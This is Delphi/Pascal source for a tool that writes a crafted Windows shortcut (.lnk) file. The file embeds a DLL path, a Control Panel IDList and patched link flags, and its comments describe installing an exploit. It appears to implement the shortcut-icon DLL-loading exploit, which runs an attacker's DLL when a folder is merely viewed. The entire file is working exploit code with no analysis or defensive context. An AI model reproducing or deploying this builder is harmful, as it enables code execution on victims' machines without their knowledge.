Const
// LinkHeader
link_header : Array [0..75] of Byte =  ($4c, $00, $00, $00, $01, $14, $02, $00, $00, $00, $00, $00, $c0, $00, $00, $00,
       $00, $00, $00, $46, $ff, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
       $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
       $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
       $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);

// Path
path_0 : Array [0..21] of Byte =  ($00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $6a, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);

// LinkTargetIDList
idlist_data : Array [0..39] of Byte =  ($14, $00, $1f, $00, $e0, $4f, $d0, $20, $ea, $3a, $69, $10, $a2, $d8, $08, $00, $2b, $30, $30, $9d,
         $14, $00, $2e, $1e, $20, $20, $ec, $21, $ea, $3a, $69, $10, $a2, $dd, $08, $00, $2b, $30, $30, $9d);

// ExtraData blocks (none) & Patch in the LinkFlags
extdata_linkflags : Array [0..7] of Byte =  ($03, $00, $00, $00, $81, $00, $00, $00);

function rand_text_alpha(random_length:Integer):String;
Var i:integer;
Begin
   Randomize();
   Result:='';
   For i:=1 to random_length do
     Result:=Result+chr($41+random(25));
end;
// path - directory for installing exploit
// lnk_name - name of *.lnk file on path
// dll_name - full name of dll file
function CreateShellLNK(path:String; lnk_name:String;  dll_name:String):Integer;
Var LinkHandle: Integer;
     i,random_length :integer;
     exploit_dll_name:string;
     IDListSize, path_len:Word;
     ZeroByte:byte;
Begin
     ZeroByte:=0;
     random_length:=257-Length(IncludeTrailingBackslash(path))-Length(ExtractFileName(dll_name));
     exploit_dll_name:=IncludeTrailingBackslash(path)+rand_text_alpha(random_length)+ExtractFileName(dll_name);
     if not fileexists(dll_name) then
     Begin
       result:=1;
       exit;
     end;
     CopyFile(PChar(dll_name),PChar(exploit_dll_name),true);

     LinkHandle:= FileCreate(IncludeTrailingBackslash(path)+lnk_name, fmOpenWrite);
     if (LinkHandle=0) then
     Begin
       result:=2;
       exit;
     end;

     FileWrite(LinkHandle, link_header, sizeof(link_header));

     IDListSize:=sizeof(idlist_data)+sizeof(path_0)+2*Length(Path)+4;
     FileWrite(LinkHandle, IDListSize, 2);
     FileWrite(LinkHandle, idlist_data, sizeof(idlist_data));

     path_len:=sizeof(path_0)+2*Length(exploit_dll_name)+2;
     FileWrite(LinkHandle, path_len, 2);
     FileWrite(LinkHandle, path_0, sizeof(path_0));
     for i:=1 to Length(exploit_dll_name) do
     begin
       FileWrite(LinkHandle, exploit_dll_name[i], 1);
       FileWrite(LinkHandle, ZeroByte, 1);
     end;
     FileWrite(LinkHandle, ZeroByte, 1);
     FileWrite(LinkHandle, ZeroByte, 1);

     FileWrite(LinkHandle, extdata_linkflags, sizeof(extdata_linkflags));
     FileClose(LinkHandle);
     result:=0;
end;